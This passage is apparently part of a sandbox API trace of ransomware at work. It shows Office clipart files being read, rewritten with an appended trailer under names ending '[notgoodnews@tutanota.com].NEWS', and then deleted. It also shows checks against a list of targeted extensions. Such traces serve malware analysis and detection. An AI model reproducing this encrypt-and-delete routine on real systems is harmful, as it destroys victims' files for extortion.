lpString2=".NEWS") returned 1 [0163.607] lstrlenW (lpString="J0086432.WMF") returned 12 [0163.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.608] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=33434) returned 1 [0163.608] CloseHandle (hObject=0x4dc) returned 1 [0163.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0163.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.609] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.609] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0163.610] GetLastError () returned 0x0 [0163.610] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x829a, lpOverlapped=0x0) returned 1 [0163.613] WriteFile (in: hFile=0x4e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0163.615] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.615] WriteFile (in: hFile=0x4e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.615] SetEndOfFile (hFile=0x4e0) returned 1 [0163.615] CloseHandle (hObject=0x4e0) returned 1 [0163.615] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.615] SetEndOfFile (hFile=0x4dc) returned 1 [0163.619] CloseHandle (hObject=0x4dc) returned 1 [0163.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0163.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0163.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.620] lstrlenW (lpString=".doc") returned 4 [0163.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString=".docx") returned 5 [0163.621] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0163.621] lstrlenW (lpString=".pdf") returned 4 [0163.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString=".xls") returned 4 [0163.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.621] lstrlenW (lpString=".xlsx") returned 5 [0163.621] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0163.621] lstrlenW (lpString=".ppt") returned 4 [0163.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.621] lstrlenW (lpString=".zip") returned 4 [0163.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.621] lstrlenW (lpString=".rar") returned 4 [0163.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString=".bz2") returned 4 [0163.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString=".7z") returned 3 [0163.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.621] lstrlenW (lpString=".dbf") returned 4 [0163.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.621] lstrlenW (lpString=".1cd") returned 4 [0163.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.621] lstrlenW (lpString=".jpg") returned 4 [0163.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.622] lstrlenW (lpString=".doc") returned 4 [0163.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString=".docx") returned 5 [0163.622] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0163.622] lstrlenW (lpString=".pdf") returned 4 [0163.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString=".xls") returned 4 [0163.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0163.622] lstrlenW (lpString=".xlsx") returned 5 [0163.622] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0163.622] lstrlenW (lpString=".ppt") returned 4 [0163.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.622] lstrlenW (lpString=".zip") returned 4 [0163.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0163.622] lstrlenW (lpString=".rar") returned 4 [0163.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString=".bz2") returned 4 [0163.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString=".7z") returned 3 [0163.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0163.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.622] lstrlenW (lpString=".dbf") returned 4 [0163.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.622] lstrlenW (lpString=".1cd") returned 4 [0163.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0163.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0163.622] lstrlenW (lpString=".jpg") returned 4 [0163.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0163.623] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0163.623] lstrlenW (lpString="J0086478.WMF") returned 12 [0163.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.623] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=14174) returned 1 [0163.623] CloseHandle (hObject=0x4dc) returned 1 [0163.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0163.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0163.624] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.624] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0163.625] GetLastError () returned 0x0 [0163.625] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x375e, lpOverlapped=0x0) returned 1 [0163.835] WriteFile (in: hFile=0x4e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3760, lpOverlapped=0x0) returned 1 [0163.836] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.837] WriteFile (in: hFile=0x4e0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.837] SetEndOfFile (hFile=0x4e0) returned 1 [0164.276] CloseHandle (hObject=0x4e0) returned 1 [0164.276] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.276] SetEndOfFile (hFile=0x4dc) returned 1 [0164.419] CloseHandle (hObject=0x4dc) returned 1 [0164.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0164.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.420] lstrlenW (lpString=".doc") returned 4 [0164.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.420] lstrlenW (lpString=".docx") returned 5 [0164.420] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.420] lstrlenW (lpString=".pdf") returned 4 [0164.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.420] lstrlenW (lpString=".xls") returned 4 [0164.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.420] lstrlenW (lpString=".xlsx") returned 5 [0164.420] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.420] lstrlenW (lpString=".ppt") returned 4 [0164.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.421] lstrlenW (lpString=".zip") returned 4 [0164.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.421] lstrlenW (lpString=".rar") returned 4 [0164.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString=".bz2") returned 4 [0164.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString=".7z") returned 3 [0164.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.421] lstrlenW (lpString=".dbf") returned 4 [0164.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.421] lstrlenW (lpString=".1cd") returned 4 [0164.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.421] lstrlenW (lpString=".jpg") returned 4 [0164.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.421] lstrlenW (lpString=".doc") returned 4 [0164.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString=".docx") returned 5 [0164.421] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.421] lstrlenW (lpString=".pdf") returned 4 [0164.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.421] lstrlenW (lpString=".xls") returned 4 [0164.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.421] lstrlenW (lpString=".xlsx") returned 5 [0164.421] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.421] lstrlenW (lpString=".ppt") returned 4 [0164.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.422] lstrlenW (lpString=".zip") returned 4 [0164.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.422] lstrlenW (lpString=".rar") returned 4 [0164.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.422] lstrlenW (lpString=".bz2") returned 4 [0164.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.422] lstrlenW (lpString=".7z") returned 3 [0164.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.422] lstrlenW (lpString=".dbf") returned 4 [0164.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.422] lstrlenW (lpString=".1cd") returned 4 [0164.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0164.422] lstrlenW (lpString=".jpg") returned 4 [0164.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.422] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.422] lstrlenW (lpString="J0090783.WMF") returned 12 [0164.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0164.423] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6934) returned 1 [0164.423] CloseHandle (hObject=0x4dc) returned 1 [0164.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0164.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0164.424] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.424] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0164.425] GetLastError () returned 0x0 [0164.425] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1b16, lpOverlapped=0x0) returned 1 [0164.427] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0164.428] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.429] WriteFile (in: hFile=0x528, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.429] SetEndOfFile (hFile=0x528) returned 1 [0164.429] CloseHandle (hObject=0x528) returned 1 [0164.429] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.429] SetEndOfFile (hFile=0x4dc) returned 1 [0164.433] CloseHandle (hObject=0x4dc) returned 1 [0164.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0164.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.434] lstrlenW (lpString=".doc") returned 4 [0164.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.434] lstrlenW (lpString=".docx") returned 5 [0164.434] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0164.434] lstrlenW (lpString=".pdf") returned 4 [0164.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.434] lstrlenW (lpString=".xls") returned 4 [0164.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.434] lstrlenW (lpString=".xlsx") returned 5 [0164.434] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0164.435] lstrlenW (lpString=".ppt") returned 4 [0164.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.435] lstrlenW (lpString=".zip") returned 4 [0164.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.435] lstrlenW (lpString=".rar") returned 4 [0164.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString=".bz2") returned 4 [0164.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString=".7z") returned 3 [0164.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.435] lstrlenW (lpString=".dbf") returned 4 [0164.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.435] lstrlenW (lpString=".1cd") returned 4 [0164.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.435] lstrlenW (lpString=".jpg") returned 4 [0164.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.435] lstrlenW (lpString=".doc") returned 4 [0164.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString=".docx") returned 5 [0164.435] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0164.435] lstrlenW (lpString=".pdf") returned 4 [0164.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.435] lstrlenW (lpString=".xls") returned 4 [0164.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.435] lstrlenW (lpString=".xlsx") returned 5 [0164.435] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0164.435] lstrlenW (lpString=".ppt") returned 4 [0164.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.436] lstrlenW (lpString=".zip") returned 4 [0164.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.436] lstrlenW (lpString=".rar") returned 4 [0164.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.436] lstrlenW (lpString=".bz2") returned 4 [0164.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.436] lstrlenW (lpString=".7z") returned 3 [0164.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.436] lstrlenW (lpString=".dbf") returned 4 [0164.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.436] lstrlenW (lpString=".1cd") returned 4 [0164.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0164.436] lstrlenW (lpString=".jpg") returned 4 [0164.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.436] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.436] lstrlenW (lpString="J0093905.WMF") returned 12 [0164.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, 